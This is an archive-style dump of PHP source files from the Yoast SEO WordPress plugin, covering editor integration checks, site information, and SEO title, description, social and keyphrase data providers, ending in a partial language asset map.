]; } } editors/application/integrations/integration-information-repository.php000064400000002027152076255450023036 0ustar00plugin_integrations = $plugin_integrations; } /** * Returns the analysis list. * * @return array> The parsed list. */ public function get_integration_information(): array { $array = []; foreach ( $this->plugin_integrations as $feature ) { $array = \array_merge( $array, $feature->to_legacy_array() ); } return $array; } } editors/application/site/website-information-repository.php000064400000002714152076255450020416 0ustar00post_site_information = $post_site_information; $this->term_site_information = $term_site_information; } /** * Returns the Post Site Information container. * * @return Post_Site_Information */ public function get_post_site_information(): Post_Site_Information { return $this->post_site_information; } /** * Returns the Term Site Information container. * * @return Term_Site_Information */ public function get_term_site_information(): Term_Site_Information { return $this->term_site_information; } } editors/application/analysis-features/enabled-analysis-features-repository.php000064400000004441152076255450024152 0ustar00enabled_analysis_features = new Analysis_Features_List(); $this->plugin_features = $plugin_features; } /** * Returns the analysis list. * * @return Analysis_Features_List The analysis list. */ public function get_enabled_features(): Analysis_Features_List { if ( \count( $this->enabled_analysis_features->parse_to_legacy_array() ) === 0 ) { foreach ( $this->plugin_features as $plugin_feature ) { $analysis_feature = new Analysis_Feature( $plugin_feature->is_enabled(), $plugin_feature->get_name(), $plugin_feature->get_legacy_key() ); $this->enabled_analysis_features->add_feature( $analysis_feature ); } } return $this->enabled_analysis_features; } /** * Returns the analysis list for the given names. * * @param array $feature_names The feature names to include. * * @return Analysis_Features_List The analysis list. */ public function get_features_by_keys( array $feature_names ): Analysis_Features_List { $enabled_analysis_features = new Analysis_Features_List(); foreach ( $this->plugin_features as $plugin_feature ) { if ( \in_array( $plugin_feature->get_name(), $feature_names, true ) ) { $analysis_feature = new Analysis_Feature( $plugin_feature->is_enabled(), $plugin_feature->get_name(), $plugin_feature->get_legacy_key() ); $enabled_analysis_features->add_feature( $analysis_feature ); } } return $enabled_analysis_features; } } editors/application/seo/term-seo-information-repository.php000064400000002421152076255460020325 0ustar00seo_data_providers = $seo_data_providers; } /** * The term. * * @param WP_Term $term The term. * * @return void */ public function set_term( WP_Term $term ): void { $this->term = $term; } /** * Method to return the compiled SEO data. * * @return array The specific seo data. */ public function get_seo_data(): array { $array = []; foreach ( $this->seo_data_providers as $data_provider ) { $data_provider->set_term( $this->term ); $array = \array_merge( $array, $data_provider->get_data()->to_legacy_array() ); } return $array; } } editors/application/seo/post-seo-information-repository.php000064400000002412152076255460020343 0ustar00seo_data_providers = $seo_data_providers; } /** * The post. * * @param WP_Post $post The post. * * @return void */ public function set_post( WP_Post $post ) { $this->post = $post; } /** * Method to return the compiled SEO data. * * @return array The specific seo data. */ public function get_seo_data(): array { $array = []; foreach ( $this->seo_data_providers as $data_provider ) { $data_provider->set_post( $this->post ); $array = \array_merge( $array, $data_provider->get_data()->to_legacy_array() ); } return $array; } } editors/framework/keyphrase-analysis.php000064400000003151152076255460014553 0ustar00options_helper = $options_helper; } /** * If this analysis is enabled. * * @return bool If this analysis is enabled. */ public function is_enabled(): bool { return $this->is_globally_enabled() && $this->is_user_enabled(); } /** * If this analysis is enabled by the user. * * @return bool If this analysis is enabled by the user. */ public function is_user_enabled(): bool { return ! \get_user_meta( \get_current_user_id(), 'wpseo_keyword_analysis_disable', true ); } /** * If this analysis is enabled globally. * * @return bool If this analysis is enabled globally. */ public function is_globally_enabled(): bool { return (bool) $this->options_helper->get( 'keyword_analysis_active', true ); } /** * Gets the name. * * @return string The name. */ public function get_name(): string { return self::NAME; } /** * Gets the legacy key. * * @return string The legacy key. */ public function get_legacy_key(): string { return 'keywordAnalysisActive'; } } editors/framework/integrations/multilingual.php000064400000005571152076255460016163 0ustar00wpml_conditional = $wpml_conditional; $this->polylang_conditional = $polylang_conditional; $this->translate_press_conditional = $translate_press_conditional; } /** * If the integration is activated. * * @return bool If the integration is activated. */ public function is_enabled(): bool { return $this->multilingual_plugin_active(); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'isMultilingualActive' => $this->is_enabled() ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'multilingualPluginActive' => $this->is_enabled() ]; } /** * Checks whether a multilingual plugin is currently active. Currently, we only check the following plugins: * WPML, Polylang, and TranslatePress. * * @return bool Whether a multilingual plugin is currently active. */ private function multilingual_plugin_active() { $wpml_active = $this->wpml_conditional->is_met(); $polylang_active = $this->polylang_conditional->is_met(); $translatepress_active = $this->translate_press_conditional->is_met(); return ( $wpml_active || $polylang_active || $translatepress_active ); } } editors/framework/integrations/woocommerce-seo.php000064400000003026152076255460016551 0ustar00addon_manager = $addon_manager; } /** * If the plugin is activated. * * @return bool If the plugin is activated. */ public function is_enabled(): bool { return \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the addon is enabled. */ public function to_array(): array { return [ 'isWooCommerceSeoActive' => $this->is_enabled() ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'isWooCommerceSeoActive' => $this->is_enabled() ]; } } editors/framework/integrations/wincher.php000064400000004452152076255460015111 0ustar00wincher_helper = $wincher_helper; $this->options_helper = $options_helper; } /** * If the integration is activated. * * @return bool If the integration is activated. */ public function is_enabled(): bool { return $this->wincher_helper->is_active(); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'active' => $this->is_enabled(), 'loginStatus' => $this->is_enabled() && $this->wincher_helper->login_status(), 'websiteId' => $this->options_helper->get( 'wincher_website_id', '' ), 'autoAddKeyphrases' => $this->options_helper->get( 'wincher_automatically_add_keyphrases', false ), ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'wincherIntegrationActive' => $this->is_enabled(), 'wincherLoginStatus' => $this->is_enabled() && $this->wincher_helper->login_status(), 'wincherWebsiteId' => $this->options_helper->get( 'wincher_website_id', '' ), 'wincherAutoAddKeyphrases' => $this->options_helper->get( 'wincher_automatically_add_keyphrases', false ), ]; } } editors/framework/integrations/jetpack-markdown.php000064400000003665152076255460016720 0ustar00is_markdown_enabled(); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'markdownEnabled' => $this->is_enabled(), ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'markdownEnabled' => $this->is_enabled(), ]; } /** * Checks if Jetpack's markdown module is enabled. * Can be extended to work with other plugins that parse markdown in the content. * * @return bool */ private function is_markdown_enabled() { $is_markdown = false; if ( \class_exists( 'Jetpack' ) && \method_exists( 'Jetpack', 'get_active_modules' ) ) { $active_modules = Jetpack::get_active_modules(); // First at all, check if Jetpack's markdown module is active. $is_markdown = \in_array( 'markdown', $active_modules, true ); } /** * Filters whether markdown support is active in the readability- and seo-analysis. * * @since 11.3 * * @param array $is_markdown Is markdown support for Yoast SEO active. */ return \apply_filters( 'wpseo_is_markdown_enabled', $is_markdown ); } } editors/framework/integrations/news-seo.php000064400000002766152076255470015221 0ustar00addon_manager = $addon_manager; } /** * If the plugin is activated. * * @return bool If the plugin is activated. */ public function is_enabled(): bool { return \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::NEWS_SLUG ) ); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'isNewsSeoActive' => $this->is_enabled() ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'isNewsSeoActive' => $this->is_enabled() ]; } } editors/framework/integrations/woocommerce.php000064400000003100152076255470015757 0ustar00woocommerce_conditional = $woocommerce_conditional; } /** * If the plugin is activated. * * @return bool If the plugin is activated. */ public function is_enabled(): bool { return $this->woocommerce_conditional->is_met(); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'isWooCommerceActive' => $this->is_enabled() ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'isWooCommerceActive' => $this->is_enabled() ]; } } editors/framework/integrations/semrush.php000064400000005466152076255470015147 0ustar00options_helper = $options_helper; } /** * If the integration is activated. * * @return bool If the integration is activated. */ public function is_enabled(): bool { return (bool) $this->options_helper->get( 'semrush_integration_active', true ); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'active' => $this->is_enabled(), 'countryCode' => $this->options_helper->get( 'semrush_country_code', false ), 'loginStatus' => $this->options_helper->get( 'semrush_integration_active', true ) && $this->get_semrush_login_status(), ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'semrushIntegrationActive' => $this->is_enabled(), 'countryCode' => $this->options_helper->get( 'semrush_country_code', false ), 'SEMrushLoginStatus' => $this->options_helper->get( 'semrush_integration_active', true ) && $this->get_semrush_login_status(), ]; } /** * Checks if the user is logged in to SEMrush. * * @return bool The SEMrush login status. */ private function get_semrush_login_status() { try { // Do this just in time to handle constructor exception. $semrush_client = \YoastSEO()->classes->get( SEMrush_Client::class ); } catch ( Empty_Property_Exception $e ) { // Return false if token is malformed (empty property). return false; } // Get token (and refresh it if it's expired). try { $semrush_client->get_tokens(); } catch ( Authentication_Failed_Exception | Empty_Token_Exception $e ) { return false; } return $semrush_client->has_valid_tokens(); } } editors/framework/previously-used-keyphrase.php000064400000002016152076255470016107 0ustar00options_helper = $options_helper; $this->language_helper = $language_helper; $this->product_helper = $product_helper; } /** * If this analysis is enabled. * * @return bool If this analysis is enabled. */ public function is_enabled(): bool { return $this->is_globally_enabled() && $this->is_user_enabled() && $this->is_current_version_supported() && $this->language_helper->has_inclusive_language_support( $this->language_helper->get_language() ); } /** * If this analysis is enabled by the user. * * @return bool If this analysis is enabled by the user. */ private function is_user_enabled(): bool { return ! \get_user_meta( \get_current_user_id(), 'wpseo_inclusive_language_analysis_disable', true ); } /** * If this analysis is enabled globally. * * @return bool If this analysis is enabled globally. */ private function is_globally_enabled(): bool { return (bool) $this->options_helper->get( 'inclusive_language_analysis_active', false ); } /** * If the inclusive language analysis should be loaded in Free. * * It should always be loaded when Premium is not active. If Premium is active, it depends on the version. Some * Premium versions also have inclusive language code (when it was still a Premium only feature) which would result * in rendering the analysis twice. In those cases, the analysis should be only loaded from the Premium side. * * @return bool If the inclusive language analysis should be loaded. */ private function is_current_version_supported(): bool { $is_premium = $this->product_helper->is_premium(); $premium_version = $this->product_helper->get_premium_version(); return ! $is_premium || \version_compare( $premium_version, '19.6-RC0', '>=' ) || \version_compare( $premium_version, '19.2', '==' ); } /** * Gets the name. * * @return string The name. */ public function get_name(): string { return self::NAME; } /** * Gets the legacy key. * * @return string The legacy key. */ public function get_legacy_key(): string { return 'inclusiveLanguageAnalysisActive'; } } editors/framework/site/base-site-information.php000064400000012644152076255470016112 0ustar00short_link_helper = $short_link_helper; $this->wistia_embed_permission_repository = $wistia_embed_permission_repository; $this->meta = $meta; $this->product_helper = $product_helper; $this->options_helper = $options_helper; $this->promotion_manager = $promotion_manager; } /** * Returns site information that is the * * @return array> * * @throws Exception If an invalid user ID is supplied to the wistia repository. */ public function get_site_information(): array { return [ 'adminUrl' => \admin_url( 'admin.php' ), 'linkParams' => $this->short_link_helper->get_query_params(), 'pluginUrl' => \plugins_url( '', \WPSEO_FILE ), 'wistiaEmbedPermission' => $this->wistia_embed_permission_repository->get_value_for_user( \get_current_user_id() ), 'site_name' => $this->meta->for_current_page()->site_name, 'contentLocale' => \get_locale(), 'userLocale' => \get_user_locale(), 'isRtl' => \is_rtl(), 'isPremium' => $this->product_helper->is_premium(), 'siteIconUrl' => \get_site_icon_url(), 'showSocial' => [ 'facebook' => $this->options_helper->get( 'opengraph', false ), 'twitter' => $this->options_helper->get( 'twitter', false ), ], 'sitewideSocialImage' => $this->options_helper->get( 'og_default_image' ), // phpcs:ignore Generic.ControlStructures.DisallowYodaConditions -- Bug: squizlabs/PHP_CodeSniffer#2962. 'isPrivateBlog' => ( (string) \get_option( 'blog_public' ) ) === '0', 'currentPromotions' => $this->promotion_manager->get_current_promotions(), ]; } /** * Returns site information that is the * * @return array>> * * @throws Exception If an invalid user ID is supplied to the wistia repository. */ public function get_legacy_site_information(): array { return [ 'adminUrl' => \admin_url( 'admin.php' ), 'linkParams' => $this->short_link_helper->get_query_params(), 'pluginUrl' => \plugins_url( '', \WPSEO_FILE ), 'wistiaEmbedPermission' => $this->wistia_embed_permission_repository->get_value_for_user( \get_current_user_id() ), 'sitewideSocialImage' => $this->options_helper->get( 'og_default_image' ), // phpcs:ignore Generic.ControlStructures.DisallowYodaConditions -- Bug: squizlabs/PHP_CodeSniffer#2962. 'isPrivateBlog' => ( (string) \get_option( 'blog_public' ) ) === '0', 'currentPromotions' => $this->promotion_manager->get_current_promotions(), 'metabox' => [ 'site_name' => $this->meta->for_current_page()->site_name, 'contentLocale' => \get_locale(), 'userLocale' => \get_user_locale(), 'isRtl' => \is_rtl(), 'isPremium' => $this->product_helper->is_premium(), 'siteIconUrl' => \get_site_icon_url(), 'showSocial' => [ 'facebook' => $this->options_helper->get( 'opengraph', false ), 'twitter' => $this->options_helper->get( 'twitter', false ), ], ], ]; } } editors/framework/site/post-site-information.php000064400000013445152076255470016165 0ustar00alert_dismissal_action = $alert_dismissal_action; $this->default_seo_data_collector = $default_seo_data_collector; } /** * Sets the permalink. * * @param string $permalink The permalink. * * @return void */ public function set_permalink( string $permalink ): void { $this->permalink = $permalink; } /** * Returns post specific site information together with the generic site information. * * @return array> */ public function get_legacy_site_information(): array { $dismissed_alerts = $this->alert_dismissal_action->all_dismissed(); $data = [ 'dismissedAlerts' => $dismissed_alerts, 'webinarIntroBlockEditorUrl' => $this->short_link_helper->get( 'https://yoa.st/webinar-intro-block-editor' ), 'metabox' => [ 'search_url' => $this->search_url(), 'post_edit_url' => $this->edit_url(), 'base_url' => $this->base_url_for_js(), ], 'isRecentTitlesDefault' => \count( $this->default_seo_data_collector->get_posts_with_default_seo_title() ) > 4, 'isRecentDescriptionsDefault' => \count( $this->default_seo_data_collector->get_posts_with_default_seo_description() ) > 4, ]; return \array_merge_recursive( $data, parent::get_legacy_site_information() ); } /** * Returns post specific site information together with the generic site information. * * @return array */ public function get_site_information(): array { $dismissed_alerts = $this->alert_dismissal_action->all_dismissed(); $data = [ 'dismissedAlerts' => $dismissed_alerts, 'webinarIntroBlockEditorUrl' => $this->short_link_helper->get( 'https://yoa.st/webinar-intro-block-editor' ), 'search_url' => $this->search_url(), 'post_edit_url' => $this->edit_url(), 'base_url' => $this->base_url_for_js(), 'isRecentTitlesDefault' => \count( $this->default_seo_data_collector->get_posts_with_default_seo_title() ) > 4, 'isRecentDescriptionsDefault' => \count( $this->default_seo_data_collector->get_posts_with_default_seo_description() ) > 4, ]; return \array_merge( $data, parent::get_site_information() ); } /** * Returns the url to search for keyword for the post. * * @return string */ private function search_url(): string { return \admin_url( 'edit.php?seo_kw_filter={keyword}' ); } /** * Returns the url to edit the taxonomy. * * @return string */ private function edit_url(): string { return \admin_url( 'post.php?post={id}&action=edit' ); } /** * Returns a base URL for use in the JS, takes permalink structure into account. * * @return string */ private function base_url_for_js(): string { global $pagenow; // The default base is the home_url. $base_url = \home_url( '/', null ); if ( $pagenow === 'post-new.php' ) { return $base_url; } // If %postname% is the last tag, just strip it and use that as a base. if ( \preg_match( '#%postname%/?$#', $this->permalink ) === 1 ) { $base_url = \preg_replace( '#%postname%/?$#', '', $this->permalink ); } // If %pagename% is the last tag, just strip it and use that as a base. if ( \preg_match( '#%pagename%/?$#', $this->permalink ) === 1 ) { $base_url = \preg_replace( '#%pagename%/?$#', '', $this->permalink ); } return $base_url; } } editors/framework/site/term-site-information.php000064400000004631152076255470016144 0ustar00term = $term; $this->taxonomy = \get_taxonomy( $term->taxonomy ); } /** * Returns term specific site information together with the generic site information. * * @return array */ public function get_site_information(): array { $data = [ 'search_url' => $this->search_url(), 'post_edit_url' => $this->edit_url(), 'base_url' => $this->base_url_for_js(), ]; return \array_merge_recursive( $data, parent::get_site_information() ); } /** * Returns term specific site information together with the generic site information. * * @return array> */ public function get_legacy_site_information(): array { $data = [ 'metabox' => [ 'search_url' => $this->search_url(), 'post_edit_url' => $this->edit_url(), 'base_url' => $this->base_url_for_js(), ], ]; return \array_merge_recursive( $data, parent::get_legacy_site_information() ); } /** * Returns the url to search for keyword for the taxonomy. * * @return string */ private function search_url(): string { return \admin_url( 'edit-tags.php?taxonomy=' . $this->term->taxonomy . '&seo_kw_filter={keyword}' ); } /** * Returns the url to edit the taxonomy. * * @return string */ private function edit_url(): string { return \admin_url( 'term.php?action=edit&taxonomy=' . $this->term->taxonomy . '&tag_ID={id}' ); } /** * Returns a base URL for use in the JS, takes permalink structure into account. * * @return string */ private function base_url_for_js(): string { $base_url = \home_url( '/', null ); if ( ! $this->options_helper->get( 'stripcategorybase', false ) ) { if ( $this->taxonomy->rewrite ) { $base_url = \trailingslashit( $base_url . $this->taxonomy->rewrite['slug'] ); } } return $base_url; } } editors/framework/cornerstone-content.php000064400000002164152076255500014746 0ustar00options_helper = $options_helper; } /** * If cornerstone is enabled. * * @return bool If cornerstone is enabled. */ public function is_enabled(): bool { return (bool) $this->options_helper->get( 'enable_cornerstone_content', false ); } /** * Gets the name. * * @return string The name. */ public function get_name(): string { return self::NAME; } /** * Gets the legacy key. * * @return string The legacy key. */ public function get_legacy_key(): string { return 'cornerstoneActive'; } } editors/framework/word-form-recognition.php000064400000002256152076255500015171 0ustar00language_helper = $language_helper; } /** * If this analysis is enabled. * * @return bool If this analysis is enabled. */ public function is_enabled(): bool { return $this->language_helper->is_word_form_recognition_active( $this->language_helper->get_language() ); } /** * Returns the name of the object. * * @return string */ public function get_name(): string { return self::NAME; } /** * Gets the legacy key. * * @return string The legacy key. */ public function get_legacy_key(): string { return 'wordFormRecognitionActive'; } } editors/framework/readability-analysis.php000064400000003137152076255500015050 0ustar00options_helper = $options_helper; } /** * If this analysis is enabled. * * @return bool If this analysis is enabled. */ public function is_enabled(): bool { return $this->is_globally_enabled() && $this->is_user_enabled(); } /** * If this analysis is enabled by the user. * * @return bool If this analysis is enabled by the user. */ private function is_user_enabled(): bool { return ! \get_user_meta( \get_current_user_id(), 'wpseo_content_analysis_disable', true ); } /** * If this analysis is enabled globally. * * @return bool If this analysis is enabled globally. */ private function is_globally_enabled(): bool { return (bool) $this->options_helper->get( 'content_analysis_active', true ); } /** * Gets the name. * * @return string The name. */ public function get_name(): string { return self::NAME; } /** * Gets the legacy key. * * @return string The legacy key. */ public function get_legacy_key(): string { return 'contentAnalysisActive'; } } editors/framework/seo/description-data-provider-interface.php000064400000000723152076255500020542 0ustar00 The keyphrase and the associated posts that use it. */ public function get_focus_keyphrase_usage(): array; } editors/framework/seo/terms/description-data-provider.php000064400000002275152076255500017742 0ustar00get_template( 'metadesc' ); } /** * Determines the date to be displayed in the snippet preview. * * @return string */ public function get_description_date(): string { return ''; } /** * Method to return the Description domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { return new Description( $this->get_description_date(), $this->get_description_template() ); } } editors/framework/seo/terms/social-data-provider.php000064400000007116152076255500016670 0ustar00options_helper = $options_helper; $this->image_helper = $image_helper; $this->use_social_templates = $this->use_social_templates(); } /** * Determines whether the social templates should be used. * * @return bool Whether the social templates should be used. */ public function use_social_templates(): bool { return $this->options_helper->get( 'opengraph', false ) === true; } /** * Gets the image url. * * @return string|null */ public function get_image_url(): ?string { return $this->image_helper->get_term_content_image( $this->term->term_id ); } /** * Retrieves the social title template. * * @return string The social title template. */ public function get_social_title_template(): string { if ( $this->use_social_templates ) { return $this->get_social_template( 'title' ); } return ''; } /** * Retrieves the social description template. * * @return string The social description template. */ public function get_social_description_template(): string { if ( $this->use_social_templates ) { return $this->get_social_template( 'description' ); } return ''; } /** * Retrieves the social image template. * * @return string The social description template. */ public function get_social_image_template(): string { if ( $this->use_social_templates ) { return $this->get_social_template( 'image-url' ); } return ''; } /** * Retrieves a social template. * * @param string $template_option_name The name of the option in which the template you want to get is saved. * * @return string */ private function get_social_template( $template_option_name ) { /** * Filters the social template value for a given taxonomy. * * @param string $template The social template value, defaults to empty string. * @param string $template_option_name The subname of the option in which the template you want to get is saved. * @param string $taxonomy The name of the taxonomy. */ return \apply_filters( 'wpseo_social_template_taxonomy', '', $template_option_name, $this->term->taxonomy ); } /** * Method to return the Social domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { return new Social( $this->get_social_title_template(), $this->get_social_description_template(), $this->get_social_image_template(), $this->get_image_url() ); } } editors/framework/seo/terms/abstract-term-seo-data-provider.php000064400000002174152076255500020751 0ustar00term = $term; } /** * Retrieves a template. * * @param string $template_option_name The name of the option in which the template you want to get is saved. * * @return string */ protected function get_template( string $template_option_name ): string { $needed_option = $template_option_name . '-tax-' . $this->term->taxonomy; return WPSEO_Options::get( $needed_option, '' ); } /** * Method to return the compiled SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ abstract public function get_data(): Seo_Plugin_Data_Interface; } editors/framework/seo/terms/title-data-provider.php000064400000002462152076255510016537 0ustar00get_template( 'title' ); if ( $title === '' && $fallback === true ) { /* translators: %s expands to the variable used for term title. */ $archives = \sprintf( \__( '%s Archives', 'wordpress-seo' ), '%%term_title%%' ); return $archives . ' %%page%% %%sep%% %%sitename%%'; } return $title; } /** * Method to return the Title domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { return new Title( $this->get_title_template(), $this->get_title_template( false ) ); } } editors/framework/seo/terms/keyphrase-data-provider.php000064400000002316152076255510017407 0ustar00 */ public function get_focus_keyphrase_usage(): array { $focuskp = WPSEO_Taxonomy_Meta::get_term_meta( $this->term, $this->term->taxonomy, 'focuskw' ); return WPSEO_Taxonomy_Meta::get_keyword_usage( $focuskp, $this->term->term_id, $this->term->taxonomy ); } /** * Method to return the keyphrase domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { $keyphrase_usage = $this->get_focus_keyphrase_usage(); return new Keyphrase( $keyphrase_usage, [] ); } } editors/framework/seo/social-data-provider-interface.php000064400000001474152076255510017476 0ustar00date_helper = $date_helper; $this->options_helper = $options_helper; } /** * Retrieves the description template. * * @return string The description template. */ public function get_description_template(): string { return $this->get_template( 'metadesc' ); } /** * Determines the date to be displayed in the snippet preview. * * @return string */ public function get_description_date(): string { return $this->date_helper->format_translated( $this->post->post_date, 'M j, Y' ); } /** * Retrieves a template. * * @param string $template_option_name The name of the option in which the template you want to get is saved. * * @return string */ private function get_template( string $template_option_name ): string { $needed_option = $template_option_name . '-' . $this->post->post_type; if ( $this->options_helper->get( $needed_option, '' ) !== '' ) { return $this->options_helper->get( $needed_option ); } return ''; } /** * Method to return the Description domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { return new Description( $this->get_description_date(), $this->get_description_template() ); } } editors/framework/seo/posts/abstract-post-seo-data-provider.php000064400000001341152076255510021001 0ustar00post = $post; } /** * Method to return the compiled SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ abstract public function get_data(): Seo_Plugin_Data_Interface; } editors/framework/seo/posts/social-data-provider.php000064400000007116152076255530016711 0ustar00options_helper = $options_helper; $this->use_social_templates = $this->use_social_templates(); $this->image_helper = $image_helper; } /** * Determines whether the social templates should be used. * * @return bool Whether the social templates should be used. */ private function use_social_templates(): bool { return $this->options_helper->get( 'opengraph', false ) === true; } /** * Gets the image url. * * @return string|null */ public function get_image_url(): ?string { return $this->image_helper->get_post_content_image( $this->post->ID ); } /** * Retrieves the social title template. * * @return string The social title template. */ public function get_social_title_template(): string { if ( $this->use_social_templates ) { return $this->get_social_template( 'title' ); } return ''; } /** * Retrieves the social description template. * * @return string The social description template. */ public function get_social_description_template(): string { if ( $this->use_social_templates ) { return $this->get_social_template( 'description' ); } return ''; } /** * Retrieves the social image template. * * @return string The social description template. */ public function get_social_image_template(): string { if ( $this->use_social_templates ) { return $this->get_social_template( 'image-url' ); } return ''; } /** * Retrieves a social template. * * @param string $template_option_name The name of the option in which the template you want to get is saved. * * @return string */ private function get_social_template( $template_option_name ) { /** * Filters the social template value for a given post type. * * @param string $template The social template value, defaults to empty string. * @param string $template_option_name The subname of the option in which the template you want to get is saved. * @param string $post_type The name of the post type. */ return \apply_filters( 'wpseo_social_template_post_type', '', $template_option_name, $this->post->post_type ); } /** * Method to return the Social domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { return new Social( $this->get_social_title_template(), $this->get_social_description_template(), $this->get_social_image_template(), $this->get_image_url() ); } } editors/framework/seo/posts/title-data-provider.php000064400000003771152076255540016564 0ustar00options_helper = $options_helper; } /** * Retrieves the title template. * * @param bool $fallback Whether to return the hardcoded fallback if the template value is empty. * * @return string The title template. */ public function get_title_template( bool $fallback = true ): string { $title = $this->get_template( 'title' ); if ( $title === '' && $fallback === true ) { return '%%title%% %%page%% %%sep%% %%sitename%%'; } return $title; } /** * Retrieves a template. * * @param string $template_option_name The name of the option in which the template you want to get is saved. * * @return string */ private function get_template( string $template_option_name ): string { $needed_option = $template_option_name . '-' . $this->post->post_type; if ( $this->options_helper->get( $needed_option, '' ) !== '' ) { return $this->options_helper->get( $needed_option ); } return ''; } /** * Method to return the Title domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { return new Title( $this->get_title_template(), $this->get_title_template( false ) ); } } editors/framework/seo/posts/keyphrase-data-provider.php000064400000006004152076255540017426 0ustar00meta_helper = $meta_helper; } /** * Counts the number of given Keyphrase used for other posts other than the given post_id. * * @return array The keyphrase and the associated posts that use it. */ public function get_focus_keyphrase_usage(): array { $keyphrase = $this->meta_helper->get_value( 'focuskw', $this->post->ID ); $usage = [ $keyphrase => $this->get_keyphrase_usage_for_current_post( $keyphrase ) ]; /** * Allows enhancing the array of posts' that share their focus Keyphrase with the post's related Keyphrase. * * @param array $usage The array of posts' ids that share their focus Keyphrase with the post. * @param int $post_id The id of the post we're finding the usage of related Keyphrase for. */ return \apply_filters( 'wpseo_posts_for_related_keywords', $usage, $this->post->ID ); } /** * Retrieves the post types for the given post IDs. * * @param array> $post_ids_per_keyphrase An associative array with keyphrase as keys and an array of post ids where those keyphrases are used. * * @return array> The post types for the given post IDs. */ public function get_post_types_for_all_ids( array $post_ids_per_keyphrase ): array { $post_type_per_keyphrase_result = []; foreach ( $post_ids_per_keyphrase as $keyphrase => $post_ids ) { $post_type_per_keyphrase_result[ $keyphrase ] = WPSEO_Meta::post_types_for_ids( $post_ids ); } return $post_type_per_keyphrase_result; } /** * Gets the keyphrase usage for the current post and the specified keyphrase. * * @param string $keyphrase The keyphrase to check the usage of. * * @return array The post IDs which use the passed keyphrase. */ private function get_keyphrase_usage_for_current_post( string $keyphrase ): array { return WPSEO_Meta::keyword_usage( $keyphrase, $this->post->ID ); } /** * Method to return the keyphrase domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { $keyphrase_usage = $this->get_focus_keyphrase_usage(); return new Keyphrase( $keyphrase_usage, $this->get_post_types_for_all_ids( $keyphrase_usage ) ); } } generated/assets/languages.php000064400000006034152076255540012501 0ustar00 array('dependencies' => array('wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'dcd5887e134799f6ade3'), 'ar.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '9c4f74d02ec69305545c'), 'ca.js' => array('dependencies' => array('wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '469209f8725d57e2dd13'), 'cs.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '8e4aac0747a3c7dddf8a'), 'de.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '4c4279bd1175e077993d'), 'el.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'd72edcab364d544c2469'), 'en.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'a44c48639c1bea127f87'), 'es.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '05fad82b6228df03c7c3'), 'fa.js' => array('dependencies' => array('wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'fa755a3b45ed946e75bb'), 'fr.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'a23c2630b045abc90aec'), 'he.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '081c52437d052c9cad74'), 'hu.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'd173d9d977c5b068443b'), 'id.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '5a3857f46f49aab5ea46'), 'it.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 